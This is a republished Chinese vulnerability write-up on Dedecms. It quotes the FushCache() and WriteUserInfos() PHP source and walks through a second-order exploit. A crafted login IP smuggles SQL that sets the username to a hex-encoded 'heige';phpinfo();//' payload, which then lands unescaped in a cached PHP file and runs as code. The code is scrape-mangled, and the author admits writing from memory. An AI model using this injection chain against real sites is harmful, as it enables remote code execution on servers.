Dedecms getip()的漏洞利用代码
Dedecms getip()的漏洞利用代码
发布时间:2016-12-26 来源:查字典编辑
摘要:author:superheiteam:http://www.ph4nt0m.orgblog:http://superhei.blogbus...

author:superhei

team:http://www.ph4nt0m.org

blog:http://superhei.blogbus.com

在用户登陆后把用户信息写如了缓存:includeinc_memberlogin.php

functionFushCache($mid=0)

{

if(empty($mid))$mid=$this->M_ID;

$dsql=newDedeSql();

$row=$dsql->GetOne(”SelectID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpmFrom#@__memberwhereID='{$mid}'“);

if(is_array($row))

{

$scrow=$dsql->GetOne(”SelecttitlesFrom#@__scoreswhereintegral<={$row['scores']}orderbyintegraldesc”);

$row['honor']=$scrow['titles'];

}

if(is_array($row))returnWriteUserInfos($mid,$row);//这里

elsereturn”;

}

WriteUserInfos()的代码:

//写入用户的会话信息

functionWriteUserInfos($uid,$row)

{

$tpath=ceil($uid/5000);

$ndir=dirname(__FILE__).”/cache/user/$tpath/”;

if(!is_dir($ndir)){

mkdir($ndir,0777);

chmod($ndir,0777);

}

$userfile=$ndir.$uid.'.php';

$infos=“<”.”?phprn”;

$infos.=“$cfg_userinfos['wtime']=‘”.mytime().”‘;rn”;

foreach($rowas$k=>$v){

if(ereg('[^0-9]‘,$k)){

$v=str_replace(”‘”,”'”,$v);//这个是利用的关键

$v=ereg_replace(”(<?|?>)”,”",$v);

$infos.=“$cfg_userinfos['{$k}']=‘{$v}';rn”;

}

}

$infos.=“rn?”.”>”;

@$fp=fopen($userfile,'w');

@flock($fp);

@fwrite($fp,$infos);

@fclose($fp);

return$infos;

}

我们构造$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;

mysql>select0×68656967655C273B706870696E666F28293B2F2F;

+——————————————–+

|0×68656967655C273B706870696E666F28293B2F2F|

+——————————————–+

|heige';phpinfo();//|

+——————————————–+

1rowinset(0.00sec)

利用流程:

A:

else{//成功登录

//$ipp=”121.11.11.1′,uname=0×68656967655C273B706870696E666F28293B2F2F,uptime='1″;

$dsql->ExecuteNoneQuery(”update#@__membersetlogintime='”.mytime().”‘,loginip='”.$ipp.”‘whereID='{$row['ID']}';”);

B:FushCache()

$row=$dsql->GetOne(”SelectID,userid,pwd,type,uname,membertype,money,uptime,exptime,scores,newpmFrom#@__memberwhereID='{$mid}'“);

C:WriteUserInfos()

heige';phpinfo();//—str_replace–>heige';phpinfo();//—fwrite—>heige';phpinfo();//

===>$cfg_userinfos['uname']=‘heige';phpinfo();//';完美闭和前面的'

其中str_replace的部分相当于代码:

<?php

$v=”heige';phpinfo();//”;

$v=str_replace(”‘”,”'”,$v);

print$v;

?>

整个过程其实就是一个很完整的”二次攻击”,而str_replace(”‘”,”'”,$v);起了关键性的作用

[因为这个漏洞当我pc上有那么段时间了,这个文章很多都是凭记忆写的,可能有错误,有兴趣的同学可以自己跟一下。]

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新安全教程学习
热门安全教程学习
实用技巧子分类